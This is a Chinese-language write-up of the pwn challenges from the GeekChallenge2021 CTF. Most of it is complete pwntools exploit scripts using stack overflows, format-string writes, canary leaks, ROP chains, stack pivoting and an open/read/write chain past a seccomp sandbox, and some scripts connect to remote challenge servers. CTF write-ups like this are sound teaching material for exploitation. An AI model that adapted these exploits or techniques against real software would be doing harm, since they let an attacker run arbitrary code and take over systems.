PWN-COMPETITION-GeekChallenge2021
- check in
- 恋爱小游戏
- ret2xxone
- 恋爱小游戏2.0
- easyfmt
- easycanary
- ret2baby
- pwn777
check in
66s内解答200道四则运算的题目即可getshell
参与运算的数和运算符都会打印,直接写脚本即可
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./math")
io=remote("123.57.230.48",12343)
elf=ELF("./math")for i in range(200):io.recvuntil("num1:")num1=int(io.recvuntil("\n")[:-1])io.recvuntil("num2:")num2=int(io.recvuntil("\n")[:-1])io.recvuntil("this calculation is ")sign=io.recvuntil("\n")[:-1]ans=0if sign=="+":ans=num1+num2elif sign=="-":ans=num1-num2elif sign=="*":ans=num1*num2else:ans=num1/num2io.sendlineafter("your answer!!:\n",str(ans))io.interactive()
恋爱小游戏
栈溢出覆写栈上变量的值使满足if即可getshell,可直接在命令行输入payload
ret2xxone
Geek函数中存在栈溢出漏洞,前提是先输入一个数和程序产生的随机数相同
由于程序没有通过srand()函数设置随机数种子,所以每次运行程序时,程序产生的随机数都是相同的,可以通过调试得到
在0x0804860C处下断点,程序调用rand()后,返回值EAX即为程序产生的随机数,这里为0x6b8b4567
之后就是利用栈溢出getshell
# -*- coding:utf-8 -*-
from pwn import *
io=process("./ret2xx")
elf=ELF("./ret2xx")
system_plt=elf.plt["system"]
binsh=0x080486D0io.recvuntil("to solve it!\n")
num=0x6b8b4567
io.send(p32(num))payload="a"*(0x1A+4)+p32(system_plt)+p32(0xdeadbeef)+p32(binsh)
io.send(payload)io.interactive()
恋爱小游戏2.0
栈溢出,原理和1.0一样,注意在命令行输入payload后不能用回车,要用Ctrl+D来结束输入
或者写脚本,payload最后设为"\x00"即可
# -*- coding:utf-8 -*-
from pwn import *
io=remote("47.242.20.238",10000)
payload="a"*24+"loveyou\x00"
io.send(payload)
io.interactive()
easyfmt
格式化字符串漏洞,第一次覆写栈上变量的值,第二次覆写返回地址
backdoor关闭了标准输出流,使用exec实现重定位,再cat flag即可
# -*- coding:utf-8 -*-
from pwn import *
#io=process("./format_string")
io=remote("123.57.230.48",12342)
elf=ELF("./format_string")#gdb.attach(io,"b * 0x08048685")
#pause()io.recvuntil("First step:\n0x")
v3_addr=int(io.recvuntil("\n")[:-1],16)
print("v3_addr=="+hex(v3_addr))payload=p32(v3_addr)+"%8c%15$hn" # len(payload)==13
io.send(payload)backdoor=0x0804874D
ebp_sub_8=v3_addr+0x10
io.recvuntil("you enter there\n")
payload=p32(ebp_sub_8)+"%"+str(backdoor&0xff-4)+"c%7$hhn"
print(len(payload))
io.sendline(payload)io.sendline("exec 1>&2")
io.sendline("cat flag")
#pause()io.interactive()
easycanary
格式化字符串泄露canary,read利用栈溢出覆写返回地址getshell
# -*- coding:utf-8 -*-
from pwn import *
#io=process("./stackguard1")
io=remote("123.57.230.48",12344)
elf=ELF("./stackguard1")#gdb.attach(io,"b * 0x4012A3")
#pause()payload="%11$p"
io.sendline(payload)
io.recvuntil("0x")
canary=int(io.recv(16),16)
print("canary=="+hex(canary))backdoor=0x4011D6
payload="a"*(0x30-8)+p64(canary)+"b"*8+p64(backdoor)
io.sendline(payload)#pause()io.interactive()
ret2baby
main函数中说有两次机会,其实一次就可以getshell了
input函数中要求输入一个position,范围为[0,20],将这个position传入game函数中
对game函数的分析标注在注释中
当game函数第32行的if语句成立时,可以造成栈溢出,脚本如下
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./ret2")
io=remote("123.57.230.48",12346)
elf=ELF("./ret2")binsh=0x4014d4
pop_rdi=0x401273
ret=0x400318io.recvuntil("please input your position\n")
io.sendline("20")io.recvuntil("plz input your value\n")
io.sendline("0")io.recvuntil("this is a gitf 0x")
system=int(io.recv(12),16)
print("system=="+hex(system))payload="a"*(0x12+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)io.sendline(payload)io.interactive()
pwn777
此题开了沙箱,ban了execve系统调用,于是考虑orw
game函数中利用栈溢出覆写随机数种子为0,绕过随机检测
fmt()函数中存在bss段上的格式化字符串漏洞,参考:bss上的格式化字符串漏洞
此题除了game函数中存在栈溢出,其它函数中都不存在可实现rop的条件,要想实现orw还需要栈迁移
# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
context.arch="amd64" # 下面asm()找gadget需要
#io=process("./pwn01")
io=remote("47.242.20.238",7777)
elf=ELF("./pwn01")
libc=ELF("./libc-2.23.so")#offset=0x1621
#io_base = io.libs()[io.cwd + io.argv[0].strip('.')]
#gdb.attach(io,"b * "+str(io_base+offset))
#pause()io.recvuntil("input your name\n")
name="a"*16+p64(0)+p32(0) # 栈溢出,将随机数种子设为0
io.send(name)num=[1804289383,846930886,1681692777,1714636915,1957747793,424238335,719885386,1649760492,596516649,1189641421]
for i in range(10):io.recvuntil("input your number:")io.sendline(str(num[i]))io.recvuntil("try your best!\n")
payload="%6$p.%7$p.%13$p" #泄露栈地址,程序基地址,libc基址
io.sendline(payload)
io.recvuntil("0x")
stack_addr=int(io.recvuntil(".")[:-1],16) #栈地址
print("stack_addr=="+hex(stack_addr))
io.recvuntil("0x")
proc_base=int(io.recvuntil(".")[:-1],16)-0x166F #程序基地址
print("proc_base=="+hex(proc_base))
io.recvuntil("0x")
libc_base=int(io.recv(12),16)-240-libc.sym["__libc_start_main"] #libc基址
print("libc_base=="+hex(libc_base))
buf_addr=proc_base+0x4060 #buf地址
print("buf_addr=="+hex(buf_addr))# 依照bss段上的格式化字符串漏洞利用原理,实现栈迁移,需要修改rbp到fake_rbp地址,改写mymain的返回地址到一个leave_ret
# phase 1 start 改写mymain的返回地址到一个leave_ret
rip=stack_addr+0x8
rip_0_2=rip&0xff
print("rip_0_2=="+hex(rip_0_2))
payload="%"+str(rip_0_2)+"c%6$hhn" #这里是偏移为6的链
io.sendline(payload)leave_ret=proc_base+0x1676
print("leave_ret=="+hex(leave_ret))
ret=leave_ret&0xff
print("ret=="+hex(ret))
payload="%"+str(ret)+"c%10$hhn"
io.sendline(payload)# phase 1 end# phase 2 start 改写rbp到fake_rbp地址,由于原本栈上的rbp与fake_rbp地址完全不同,需要分3次各次写2个字节,共6个字节
fake_rbp=buf_addr+0x10
print("fake_rbp=="+hex(fake_rbp))buf_addr_0_4=(fake_rbp)&0xffff
print("buf_addr_0_4=="+hex(buf_addr_0_4))
payload="%"+str(buf_addr_0_4)+"c%6$hn" #低2字节可以用上面改写返回地址的链直接写,偏移为6的链
io.sendline(payload)# 中间2字节 和 高2字节 需要找另一条链辅助写,这里是偏移为15的链
stack_addr_add_2=stack_addr+0x2
print("stack_addr_add_2=="+hex(stack_addr_add_2))
stack_addr_add_2=stack_addr_add_2&0xffff
payload="%"+str(stack_addr_add_2)+"c%15$hn"
io.sendline(payload)buf_addr_4_8=(fake_rbp>>16)&0xffff
print("buf_addr_4_8=="+hex(buf_addr_4_8))
payload="%"+str(buf_addr_4_8)+"c%41$hn"
io.sendline(payload)stack_addr_add_4=stack_addr+0x4
print("stack_addr_add_4=="+hex(stack_addr_add_4))
stack_addr_add_4=stack_addr_add_4&0xffff
payload="%"+str(stack_addr_add_4)+"c%15$hn"
io.sendline(payload)buf_addr_8_12=(fake_rbp>>32)&0xffff
print("buf_addr_8_12=="+hex(buf_addr_8_12))
payload="%"+str(buf_addr_8_12)+"c%41$hn"
io.sendline(payload)
# phase 2 endbss=proc_base+0x4020
syscall = libc_base+0x1015D7 #在libc中找一个syscall的偏移即可
pop_rax_ret = libc_base+libc.search(asm("pop rax; ret")).next() #注意设置context.arch="amd64"
pop_rdi_ret = libc_base+libc.search(asm("pop rdi; ret")).next()
pop_rsi_ret = libc_base+libc.search(asm("pop rsi; ret")).next()
pop_rdx_ret = libc_base+libc.search(asm("pop rdx; ret")).next()payload="jiaraniloveyou~\x00" # len=16
payload+="./flag".ljust(8,"\x00") #要打开的文件名
# 下面是利用栈迁移实现orw,open,read,write
payload+=p64(pop_rdi_ret)+p64(buf_addr+0x10)+p64(pop_rsi_ret)+p64(0)+p64(pop_rax_ret)+p64(2)+p64(syscall)
payload+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(bss)+p64(pop_rdx_ret)+p64(0x30)+p64(pop_rax_ret)+p64(0)+p64(syscall)
payload+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(bss)+p64(pop_rdx_ret)+p64(0x30)+p64(pop_rax_ret)+p64(1)+p64(syscall)
io.sendline(payload)#pause()io.interactive()